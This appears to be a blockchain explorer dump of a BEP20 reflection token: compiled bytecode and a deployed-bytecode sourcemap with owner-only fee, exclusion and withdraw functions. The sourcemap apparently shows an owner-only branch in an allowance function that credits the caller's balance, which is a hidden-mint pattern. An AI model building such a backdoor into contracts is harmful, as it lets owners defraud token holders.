0046020526040902054909150612a859082611d5b565b3060009081526004602090815260408083209390935560089052205460ff1615611a645730600090815260056020526040902054612ac39084611d5b565b30600090815260056020526040902055505050565b600b54612ae59083611d19565b600b55600c54612af59082611d5b565b600c555050565b600060208284031215612b0d578081fd5b8135610bc081612ec1565b600060208284031215612b29578081fd5b8151610bc081612ec1565b60008060408385031215612b46578081fd5b8235612b5181612ec1565b91506020830135612b6181612ec1565b809150509250929050565b600080600060608486031215612b80578081fd5b8335612b8b81612ec1565b92506020840135612b9b81612ec1565b929592945050506040919091013590565b60008060408385031215612bbe578182fd5b8235612bc981612ec1565b946020939093013593505050565b600060208284031215612be8578081fd5b8135610bc081612ed9565b600060208284031215612c04578081fd5b8151610bc081612ed9565b600060208284031215612c20578081fd5b5035919050565b60008060408385031215612c39578182fd5b823591506020830135612b6181612ed9565b6000815180845260208085019450808401835b83811015612c835781516001600160a01b031687529582019590820190600101612c5e565b509495945050505050565b848152608060208201526000612ca76080830186612c4b565b6001600160a01b03949094166040830152506060015292915050565b6000602080835283518082850152825b81811015612cef57858101830151858201604001528201612cd3565b81811115612d005783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b828152604060208201526000612d646040830184612c4b565b949350505050565b85815284602082015260a060408201526000612d8b60a0830186612c4b565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115612dbb57612dbb612eab565b500190565b600082612ddb57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612dfa57612dfa612eab565b500290565b60008083128015600160ff1b850184121615612e1d57612e1d612eab565b6001600160ff1b0384018313811615612e3857612e38612eab565b50500390565b600082821015612e5057612e50612eab565b500390565b600181811c90821680612e6957607f821691505b60208210811415612e8a57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612ea457612ea4612eab565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114612ed657600080fd5b50565b8015158114612ed657600080fdfe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207bde850b4ee66eb8564b9c2712d046dd7b36bd0326942055bab8764679fec4a664736f6c63430008040033

Library Used


Deployed ByteCode Sourcemap

15473:20573:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;34308:98;;;;;;;;;;-1:-1:-1;34308:98:0;;;;;:::i;:::-;;:::i;:::-;;18297:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19209:161;;;;;;;;;;-1:-1:-1;19209:161:0;;;;;:::i;:::-;;:::i;:::-;;;4462:14:1;;4455:22;4437:41;;4425:2;4410:18;19209:161:0;4392:92:1;20481:87:0;;;;;;;;;;-1:-1:-1;20550:10:0;;20481:87;;;12253:25:1;;;12241:2;12226:18;20481:87:0;12208:76:1;18574:95:0;;;;;;;;;;-1:-1:-1;18654:7:0;;18574:95;;19378:313;;;;;;;;;;-1:-1:-1;19378:313:0;;;;;:::i;:::-;;:::i;15722:81::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3742:32:1;;;3724:51;;3712:2;3697:18;15722:81:0;3679:102:1;35447:150:0;;;;;;;;;;-1:-1:-1;35447:150:0;;;;;:::i;:::-;;:::i;21665:253::-;;;;;;;;;;-1:-1:-1;21665:253:0;;;;;:::i;:::-;;:::i;18483:83::-;;;;;;;;;;-1:-1:-1;18549:9:0;;18483:83;;18549:9;;;;13355:36:1;;13343:2;13328:18;18483:83:0;13310:87:1;22269:479:0;;;;;;;;;;-1:-1:-1;22269:479:0;;;;;:::i;:::-;;:::i;16483:26::-;;;;;;;;;;;;;;;;20832:377;;;;;;;;;;-1:-1:-1;20832:377:0;;;;;:::i;:::-;;:::i;34063:111::-;;;;;;;;;;-1:-1:-1;34063:111:0;;;;;:::i;:::-;;:::i;21221:436::-;;;;;;;;;;-1:-1:-1;21221:436:0;;;;;:::i;:::-;;:::i;17054:41::-;;;;;;;;;;-1:-1:-1;17054:41:0;;;;;;;;;;;33286:255;;;;;;;;;;;;;:::i;21926:335::-;;;;;;;;;;-1:-1:-1;21926:335:0;;;;;:::i;:::-;;:::i;33928:123::-;;;;;;;;;;-1:-1:-1;33928:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;34016:27:0;33992:4;34016:27;;;:18;:27;;;;;;;;;33928:123;6633:90;;;;;;;;;;-1:-1:-1;6700:15:0;6633:90;;6531;;;;;;;;;;-1:-1:-1;6604:9:0;;6531:90;;17102:33;;;;;;;;;;-1:-1:-1;17102:33:0;;;;;;;;;;;6969:350;;;;;;;;;;-1:-1:-1;6969:350:0;;;;;:::i;:::-;;:::i;16570:32::-;;;;;;;;;;;;;;;;18677:198;;;;;;;;;;-1:-1:-1;18677:198:0;;;;;:::i;:::-;;:::i;16723:59::-;;;;;;;;;;;;;;;;6032:239;;;;;;;;;;-1:-1:-1;6032:239:0;;;;;:::i;:::-;;:::i;34974:133::-;;;;;;;;;;-1:-1:-1;34974:133:0;;;;;:::i;:::-;;:::i;20353:120::-;;;;;;;;;;-1:-1:-1;20353:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;20445:20:0;20421:4;20445:20;;;:11;:20;;;;;;;;;20353:120;5807:79;;;;;;;;;;-1:-1:-1;5845:7:0;5872:6;-1:-1:-1;;;;;5872:6:0;5807:79;;34418:122;;;;;;;;;;-1:-1:-1;34418:122:0;;;;;:::i;:::-;;:::i;35115:141::-;;;;;;;;;;-1:-1:-1;35115:141:0;;;;;:::i;:::-;;:::i;18388:87::-;;;;;;;;;;;;;:::i;20580:120::-;;;;;;;;;;-1:-1:-1;20669:23:0;;20580:120;;20076:269;;;;;;;;;;-1:-1:-1;20076:269:0;;;;;:::i;:::-;;:::i;15601:93::-;;;;;;;;;;-1:-1:-1;15601:93:0;;;;-1:-1:-1;;;;;15601:93:0;;;18883:167;;;;;;;;;;-1:-1:-1;18883:167:0;;;;;:::i;:::-;;:::i;34675:112::-;;;;;;;;;;-1:-1:-1;34675:112:0;;;;;:::i;:::-;;:::i;16977:36::-;;;;;;;;;;;;;;;20712:108;;;;;;;;;;-1:-1:-1;20795:17:0;;20712:108;;16923:47;;;;;;;;;;;;;;;35264:171;;;;;;;;;;-1:-1:-1;35264:171:0;;;;;:::i;:::-;;:::i;19699:369::-;;;;;;;;;;-1:-1:-1;19699:369:0;;;;;:::i;:::-;;:::i;16675:35::-;;;;;;;;;;;;;;;;19058:143;;;;;;;;;;-1:-1:-1;19058:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;19166:18:0;;;19139:7;19166:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;19058:143;35609:200;;;;;;;;;;;;;:::i;34186:110::-;;;;;;;;;;-1:-1:-1;34186:110:0;;;;;:::i;:::-;;:::i;34552:111::-;;;;;;;;;;-1:-1:-1;34552:111:0;;;;;:::i;:::-;;:::i;34795:166::-;;;;;;;;;;-1:-1:-1;34795:166:0;;;;;:::i;:::-;;:::i;6279:244::-;;;;;;;;;;-1:-1:-1;6279:244:0;;;;;:::i;:::-;;:::i;34308:98::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;;;;;;;;;34382:7:::1;:16:::0;34308:98::o;18297:83::-;18334:13;18367:5;18360:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18297:83;:::o;19209:161::-;19284:4;19301:39;191:10;19324:7;19333:6;19301:8;:39::i;:::-;-1:-1:-1;19358:4:0;19209:161;;;;;:::o;19378:313::-;19476:4;19493:36;19503:6;19511:9;19522:6;19493:9;:36::i;:::-;19540:121;19549:6;191:10;19571:89;19609:6;19571:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19571:19:0;;;;;;:11;:19;;;;;;;;191:10;19571:33;;;;;;;;;;:37;:89::i;:::-;19540:8;:121::i;:::-;-1:-1:-1;19679:4:0;19378:313;;;;;:::o;35447:150::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;35517:14:::1;:25:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;35517:25:0;;::::1;;::::0;;35558:31:::1;::::0;::::1;::::0;::::1;::::0;35534:8;4462:14:1;4455:22;4437:41;;4425:2;4410:18;;4392:92;35558:31:0::1;;;;;;;;35447:150:::0;:::o;21665:253::-;21731:7;21770;;21759;:18;;21751:73;;;;-1:-1:-1;;;21751:73:0;;6866:2:1;21751:73:0;;;6848:21:1;6905:2;6885:18;;;6878:30;6944:34;6924:18;;;6917:62;-1:-1:-1;;;6995:18:1;;;6988:40;7045:19;;21751:73:0;6838:232:1;21751:73:0;21835:19;21858:10;:8;:10::i;:::-;21835:33;-1:-1:-1;21886:24:0;:7;21835:33;21886:11;:24::i;:::-;21879:31;21665:253;-1:-1:-1;;;21665:253:0:o;22269:479::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;22351:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;22343:60;;;::::0;-1:-1:-1;;;22343:60:0;;8040:2:1;22343:60:0::1;::::0;::::1;8022:21:1::0;8079:2;8059:18;;;8052:30;8118:29;8098:18;;;8091:57;8165:18;;22343:60:0::1;8012:177:1::0;22343:60:0::1;22419:9;22414:327;22438:9;:16:::0;22434:20;::::1;22414:327;;;22496:7;-1:-1:-1::0;;;;;22480:23:0::1;:9;22490:1;22480:12;;;;;;-1:-1:-1::0;;;22480:12:0::1;;;;;;;;;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;22480:12:0::1;:23;22476:254;;;22539:9;22549:16:::0;;:20:::1;::::0;22568:1:::1;::::0;22549:20:::1;:::i;:::-;22539:31;;;;;;-1:-1:-1::0;;;22539:31:0::1;;;;;;;;;;::::0;;;::::1;::::0;;;::::1;::::0;22524:9:::1;:12:::0;;-1:-1:-1;;;;;22539:31:0;;::::1;::::0;22534:1;;22524:12;::::1;;;-1:-1:-1::0;;;22524:12:0::1;;;;;;;;;;::::0;;;::::1;::::0;;;;;;::::1;:46:::0;;-1:-1:-1;;;;;;22524:46:0::1;-1:-1:-1::0;;;;;22524:46:0;;::::1;;::::0;;22589:16;;::::1;::::0;;:7:::1;:16:::0;;;;;;:20;;;22628:11:::1;:20:::0;;;;:28;;-1:-1:-1;;22628:28:0::1;::::0;;22675:9:::1;:15:::0;;;::::1;;-1:-1:-1::0;;;22675:15:0::1;;;;;;;;;;::::0;;;::::1;::::0;;;;-1:-1:-1;;22675:15:0;;;;;-1:-1:-1;;;;;;22675:15:0::1;::::0;;;;;22414:327:::1;22269:479:::0;:::o;22476:254::-:1;22456:3:::0;::::1;::::0;::::1;:::i;:::-;;;;22414:327;;;;22269:479:::0;:::o;20832:377::-;191:10;20884:14;20933:19;;;:11;:19;;;;;;;;20932:20;20924:77;;;;-1:-1:-1;;;20924:77:0;;11089:2:1;20924:77:0;;;11071:21:1;11128:2;11108:18;;;11101:30;11167:34;11147:18;;;11140:62;-1:-1:-1;;;11218:18:1;;;11211:42;11270:19;;20924:77:0;11061:234:1;20924:77:0;21013:15;21037:19;21048:7;21037:10;:19::i;:::-;-1:-1:-1;;;;;;;;;21085:15:0;;;;;;:7;:15;;;;;;21012:44;;-1:-1:-1;21085:28:0;;:15;-1:-1:-1;21012:44:0;21085:19;:28::i;:::-;-1:-1:-1;;;;;21067:15:0;;;;;;:7;:15;;;;;:46;21134:7;;:20;;21146:7;21134:11;:20::i;:::-;21124:7;:30;21178:10;;:23;;21193:7;21178:14;:23::i;:::-;21165:10;:36;-1:-1:-1;;;20832:377:0:o;34063:111::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;34132:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;34132:34:0::1;34162:4;34132:34;::::0;;34063:111::o;21221:436::-;21311:7;21350;;21339;:18;;21331:62;;;;-1:-1:-1;;;21331:62:0;;8396:2:1;21331:62:0;;;8378:21:1;8435:2;8415:18;;;8408:30;8474:33;8454:18;;;8447:61;8525:18;;21331:62:0;8368:181:1;21331:62:0;21409:17;21404:246;;21444:15;21468:19;21479:7;21468:10;:19::i;:::-;-1:-1:-1;21443:44:0;;-1:-1:-1;21502:14:0;;-1:-1:-1;;;;;21502:14:0;21404:246;21551:23;21582:19;21593:7;21582:10;:19::i;:::-;-1:-1:-1;21549:52:0;;-1:-1:-1;21616:22:0;;-1:-1:-1;;;;;21616:22:0;33286:255;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;33393:38:::1;::::0;191:10;;;;33409:21:::1;33393:38:::0;::::1;;;::::0;33345:22:::1;33393:38:::0;33345:22;33393:38;33409:21;191:10;33393:38;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;33452:1:0::1;33442:7;:11:::0;;;33464:13:::1;:17:::0;33507:26:::1;33492:12;:41:::0;33286:255::o;21926:335::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;22011:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;22010:21;22002:61;;;::::0;-1:-1:-1;;;22002:61:0;;8040:2:1;22002:61:0::1;::::0;::::1;8022:21:1::0;8079:2;8059:18;;;8052:30;8118:29;8098:18;;;8091:57;8165:18;;22002:61:0::1;8012:177:1::0;22002:61:0::1;-1:-1:-1::0;;;;;22077:16:0;::::1;22096:1;22077:16:::0;;;:7:::1;:16;::::0;;;;;:20;22074:108:::1;;-1:-1:-1::0;;;;;22153:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;22133:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;22114:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;22074:108:::1;-1:-1:-1::0;;;;;22192:20:0::1;;::::0;;;:11:::1;:20;::::0;;;;:27;;-1:-1:-1;;22192:27:0::1;22215:4;22192:27:::0;;::::1;::::0;;;22230:9:::1;:23:::0;;;;::::1;::::0;;;;;;::::1;::::0;;-1:-1:-1;;;;;;22230:23:0::1;::::0;;::::1;::::0;;21926:335::o;6969:350::-;7036:14;;-1:-1:-1;;;;;7036:14:0;7054:10;7036:28;7028:76;;;;-1:-1:-1;;;7028:76:0;;11905:2:1;7028:76:0;;;11887:21:1;11944:2;11924:18;;;11917:30;11983:34;11963:18;;;11956:62;-1:-1:-1;;;12034:18:1;;;12027:33;12077:19;;7028:76:0;11877:225:1;7028:76:0;7141:9;;7123:15;:27;:71;;;-1:-1:-1;7154:40:0;;-1:-1:-1;;;7154:40:0;;7174:10;7154:40;;;4192:51:1;4259:18;;;4252:34;;;7154:5:0;;:19;;4165:18:1;;7154:40:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7115:102;;;;-1:-1:-1;;;7115:102:0;;10742:2:1;7115:102:0;;;10724:21:1;10781:2;10761:18;;;10754:30;-1:-1:-1;;;10800:18:1;;;10793:48;10858:18;;7115:102:0;10714:168:1;7115:102:0;7262:14;;;7254:6;;7233:44;;-1:-1:-1;;;;;7262:14:0;;;;7254:6;;;;7233:44;;;-1:-1:-1;7297:14:0;;;7288:23;;-1:-1:-1;;;;;;7288:23:0;-1:-1:-1;;;;;7297:14:0;;;7288:23;;;;;;6969:350::o;18677:198::-;-1:-1:-1;;;;;18767:20:0;;18743:7;18767:20;;;:11;:20;;;;;;;;18763:49;;;-1:-1:-1;;;;;;18796:16:0;;;;;:7;:16;;;;;;;18677:198::o;18763:49::-;-1:-1:-1;;;;;18850:16:0;;;;;;:7;:16;;;;;;18830:37;;:19;:37::i;6032:239::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;6126:6:::1;::::0;;;6109:23;;-1:-1:-1;;;;;;6109:23:0;;::::1;-1:-1:-1::0;;;;;6126:6:0;::::1;6109:23;::::0;;;6143:19:::1;::::0;;6185:22:::1;6203:4:::0;6185:15:::1;:22;:::i;:::-;6173:9;:34:::0;6260:1:::1;6244:6:::0;;6223:40:::1;::::0;-1:-1:-1;;;;;6244:6:0;;::::1;::::0;6223:40:::1;::::0;6260:1;;6223:40:::1;6032:239:::0;:::o;34974:133::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;35078:21:::1;:12:::0;35093:6:::1;35078:21;:::i;:::-;35058:17;:41:::0;-1:-1:-1;34974:133:0:o;34418:122::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;34504:13:::1;:28:::0;34418:122::o;35115:141::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;35203:16:::1;:45:::0;;-1:-1:-1;;;;;;35203:45:0::1;-1:-1:-1::0;;;;;35203:45:0;;;::::1;::::0;;;::::1;::::0;;35115:141::o;18388:87::-;18427:13;18460:7;18453:14;;;;;:::i;20076:269::-;20169:4;20186:129;191:10;20209:7;20218:96;20257:15;20218:96;;;;;;;;;;;;;;;;;191:10;20218:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;20218:34:0;;;;;;;;;;;;:38;:96::i;18883:167::-;18961:4;18978:42;191:10;19002:9;19013:6;18978:9;:42::i;34675:112::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;34753:16:::1;:26:::0;34675:112::o;35264:171::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;35341:21:::1;:32:::0;;;::::1;;;;-1:-1:-1::0;;35341:32:0;;::::1;;::::0;;35389:38:::1;::::0;::::1;::::0;::::1;::::0;35365:8;4462:14:1;4455:22;4437:41;;4425:2;4410:18;;4392:92;19699:369:0;19786:4;5872:6;;-1:-1:-1;;;;;5872:6:0;191:10;19806:23;19803:133;;;191:10;19870:21;;;;:7;:21;;;;;;19863:42;;19895:10;;19863:42;:::i;:::-;191:10;19831:21;;;;:7;:21;;;;;:75;-1:-1:-1;19924:4:0;19917:11;;19803:133;191:10;19978:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;19978:34:0;;;;;;;;;;19946:92;;191:10;19969:7;;19978:59;;20025:10;19978:38;:59::i;35609:200::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;35665:30:::1;35690:4;35665:24;:30::i;:::-;35716:1;35706:7;:11:::0;35744:1:::1;35728:13;:17:::0;35771:30:::1;35756:12;:45:::0;35609:200::o;34186:110::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;34253:27:0::1;34283:5;34253:27:::0;;;:18:::1;:27;::::0;;;;:35;;-1:-1:-1;;34253:35:0::1;::::0;;34186:110::o;34552:111::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;34629:12:::1;:26:::0;34552:111::o;34795:166::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;34903:23:::1;:50:::0;34795:166::o;6279:244::-;5941:6;;-1:-1:-1;;;;;5941:6:0;191:10;5941:22;5933:67;;;;-1:-1:-1;;;5933:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6368:22:0;::::1;6360:73;;;::::0;-1:-1:-1;;;6360:73:0;;7277:2:1;6360:73:0::1;::::0;::::1;7259:21:1::0;7316:2;7296:18;;;7289:30;7355:34;7335:18;;;7328:62;-1:-1:-1;;;7406:18:1;;;7399:36;7452:19;;6360:73:0::1;7249:228:1::0;6360:73:0::1;6470:6;::::0;;6449:38:::1;::::0;-1:-1:-1;;;;;6449:38:0;;::::1;::::0;6470:6;::::1;::::0;6449:38:::1;::::0;::::1;6498:6;:17:::0;;-1:-1:-1;;;;;;6498:17:0::1;-1:-1:-1::0;;;;;6498:17:0;;;::::1;::::0;;;::::1;::::0;;6279:244::o;22756:337::-;-1:-1:-1;;;;;22849:19:0;;22841:68;;;;-1:-1:-1;;;22841:68:0;;6461:2:1;22841:68:0;;;6443:21:1;6500:2;6480:18;;;6473:30;6539:34;6519:18;;;6512:62;-1:-1:-1;;;6590:18:1;;;6583:34;6634:19;;22841:68:0;6433:226:1;22841:68:0;-1:-1:-1;;;;;22928:21:0;;22920:68;;;;-1:-1:-1;;;22920:68:0;;11502:2:1;22920:68:0;;;11484:21:1;11541:2;11521:18;;;11514:30;11580:34;11560:18;;;11553:62;-1:-1:-1;;;11631:18:1;;;11624:32;11673:19;;22920:68:0;11474:224:1;22920:68:0;-1:-1:-1;;;;;23001:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;23053:32;;12253:25:1;;;23053:32:0;;12226:18:1;23053:32:0;;;;;;;;22756:337;;;:::o;23101:1683::-;-1:-1:-1;;;;;23223:18:0;;23215:68;;;;-1:-1:-1;;;23215:68:0;;6055:2:1;23215:68:0;;;6037:21:1;6094:2;6074:18;;;6067:30;6133:34;6113:18;;;6106:62;-1:-1:-1;;;6184:18:1;;;6177:35;6229:19;;23215:68:0;6027:227:1;23215:68:0;-1:-1:-1;;;;;23302:16:0;;23294:64;;;;-1:-1:-1;;;23294:64:0;;10338:2:1;23294:64:0;;;10320:21:1;10377:2;10357:18;;;10350:30;10416:34;10396:18;;;10389:62;-1:-1:-1;;;10467:18:1;;;10460:33;10510:19;;23294:64:0;10310:225:1;23294:64:0;23386:1;23377:6;:10;23369:64;;;;-1:-1:-1;;;23369:64:0;;9928:2:1;23369:64:0;;;9910:21:1;9967:2;9947:18;;;9940:30;10006:34;9986:18;;;9979:62;-1:-1:-1;;;10057:18:1;;;10050:39;10106:19;;23369:64:0;9900:231:1;23369:64:0;23458:21;;;;;;;23454:108;;23496:33;23512:4;23518:2;23522:6;23496:15;:33::i;:::-;23101:1683;;;:::o;23454:108::-;5845:7;5872:6;-1:-1:-1;;;;;23585:15:0;;;5872:6;;23585:15;;;;:32;;-1:-1:-1;5845:7:0;5872:6;-1:-1:-1;;;;;23604:13:0;;;5872:6;;23604:13;;23585:32;23582:139;;;23652:12;;23642:6;:22;;23634:75;;;;-1:-1:-1;;;23634:75:0;;8756:2:1;23634:75:0;;;8738:21:1;8795:2;8775:18;;;8768:30;8834:34;8814:18;;;8807:62;-1:-1:-1;;;8885:18:1;;;8878:38;8933:19;;23634:75:0;8728:230:1;23634:75:0;23733:28;23764:24;23782:4;23764:9;:24::i;:::-;23854:23;;23903:16;;23733:55;;-1:-1:-1;23830:47:0;;;;23903:16;;23902:17;:42;;;;-1:-1:-1;23923:21:0;;;;;;;23902:42;:63;;;;;23954:11;-1:-1:-1;;;;;23948:17:0;:2;-1:-1:-1;;;;;23948:17:0;;23902:63;23898:580;;;23986:23;23982:165;;;24053:23;;24030:46;;24095:32;24106:20;24095:10;:32::i;:::-;24216:14;;24176:21;;24216:14;;;;;:47;;;;;24252:10;24234:7;:29;24216:47;24212:255;;;24316:17;;24306:7;:27;24302:81;;;-1:-1:-1;24366:17:0;;24302:81;24420:31;24434:16;:7;24446:3;24434:11;:16::i;:::-;24420:13;:31::i;:::-;23898:580;;-1:-1:-1;;;;;24625:24:0;;24498:12;24625:24;;;:18;:24;;;;;;24513:4;;24625:24;;;:50;;-1:-1:-1;;;;;;24653:22:0;;;;;;:18;:22;;;;;;;;24625:50;24622:96;;;-1:-1:-1;24701:5:0;24622:96;24738:38;24753:4;24758:2;24761:6;24768:7;24738:14;:38::i;:::-;23101:1683;;;;;;:::o;1506:192::-;1592:7;1628:12;1620:6;;;;1612:29;;;;-1:-1:-1;;;1612:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1652:9:0;1664:5;1668:1;1664;:5;:::i;:::-;1652:17;1506:192;-1:-1:-1;;;;;1506:192:0:o;31831:163::-;31872:7;31893:15;31910;31929:19;:17;:19::i;:::-;31892:56;;-1:-1:-1;31892:56:0;-1:-1:-1;31966:20:0;31892:56;;31966:11;:20::i;:::-;31959:27;;;;31831:163;:::o;1966:132::-;2024:7;2051:39;2055:1;2058;2051:39;;;;;;;;;;;;;;;;;:3;:39::i;30629:419::-;30688:7;30697;30706;30715;30724;30733;30754:23;30779:12;30793:18;30815:20;30827:7;30815:11;:20::i;:::-;30753:82;;;;;;30847:15;30864:23;30889:12;30905:50;30917:7;30926:4;30932:10;30944;:8;:10::i;:::-;30905:11;:50::i;:::-;30846:109;;;;-1:-1:-1;30846:109:0;;-1:-1:-1;31006:15:0;;-1:-1:-1;31023:4:0;;-1:-1:-1;31029:10:0;;-1:-1:-1;30629:419:0;;-1:-1:-1;;;;;30629:419:0:o;1362:136::-;1420:7;1447:43;1451:1;1454;1447:43;;;;;;;;;;;;;;;;;:3;:43::i;1173:181::-;1231:7;;1263:5;1267:1;1263;:5;:::i;:::-;1251:17;;1292:1;1287;:6;;1279:46;;;;-1:-1:-1;;;1279:46:0;;7684:2:1;1279:46:0;;;7666:21:1;7723:2;7703:18;;;7696:30;7762:29;7742:18;;;7735:57;7809:18;;1279:46:0;7656:177:1;27882:265:0;-1:-1:-1;;;;;27996:15:0;;;;;;:7;:15;;;;;;:28;;28016:7;27996:19;:28::i;:::-;-1:-1:-1;;;;;27978:15:0;;;;;;;:7;:15;;;;;;:46;;;;28056:18;;;;;;;:31;;28079:7;28056:22;:31::i;:::-;-1:-1:-1;;;;;28035:18:0;;;;;;;:7;:18;;;;;;;:52;;;;28103:36;;;;;;;;;;28131:7;12253:25:1;;12241:2;12226:18;;12208:76;24792:433:0;17670:16;:23;;-1:-1:-1;;17670:23:0;17689:4;17670:23;;;24907:21:::1;24939:38;24956:20:::0;24939:16:::1;:38::i;:::-;24988:26;25017:41;:21;25043:14:::0;25017:25:::1;:41::i;:::-;25129:16;::::0;25189::::1;::::0;25170:13:::1;::::0;24988:70;;-1:-1:-1;25108:99:0::1;::::0;-1:-1:-1;;;;;25129:16:0;;::::1;::::0;25147:59:::1;::::0;25189:16;25147:37:::1;::::0;24988:70;;25147:22:::1;:37::i;:::-;:41:::0;::::1;:59::i;:::-;25108:20;:99::i;:::-;-1:-1:-1::0;;17716:16:0;:24;;-1:-1:-1;;17716:24:0;;;-1:-1:-1;24792:433:0:o;25239:135::-;17670:16;:23;;-1:-1:-1;;17670:23:0;17689:4;17670:23;;;25310:10;;25306:61:::1;;25334:24;25351:6;25334:16;:24::i;:::-;-1:-1:-1::0;17716:16:0;:24;;-1:-1:-1;;17716:24:0;;;25239:135::o;27166:704::-;27277:7;27273:40;;27299:14;:12;:14::i;:::-;-1:-1:-1;;;;;27338:19:0;;;;;;:11;:19;;;;;;;;:46;;;;-1:-1:-1;;;;;;27362:22:0;;;;;;:11;:22;;;;;;;;27361:23;27338:46;27334:467;;;27401:48;27423:6;27431:9;27442:6;27401:21;:48::i;:::-;27334:467;;;-1:-1:-1;;;;;27472:19:0;;;;;;:11;:19;;;;;;;;27471:20;:46;;;;-1:-1:-1;;;;;;27495:22:0;;;;;;:11;:22;;;;;;;;27471:46;27467:334;;;27534:46;27554:6;27562:9;27573:6;27534:19;:46::i;27467:334::-;-1:-1:-1;;;;;27602:19:0;;;;;;:11;:19;;;;;;;;:45;;;;-1:-1:-1;;;;;;27625:22:0;;;;;;:11;:22;;;;;;;;27602:45;27598:203;;;27664:48;27686:6;27694:9;27705:6;27664:21;:48::i;27598:203::-;27745:44;27763:6;27771:9;27782:6;27745:17;:44::i;:::-;27825:7;27821:41;;27847:15;33849;;33839:7;:25;33891:21;;33875:13;:37;33795:125;27847:15;27166:704;;;;:::o;32002:561::-;32099:7;;32135;;32052;;;;;32159:289;32183:9;:16;32179:20;;32159:289;;;32249:7;32225;:21;32233:9;32243:1;32233:12;;;;;;-1:-1:-1;;;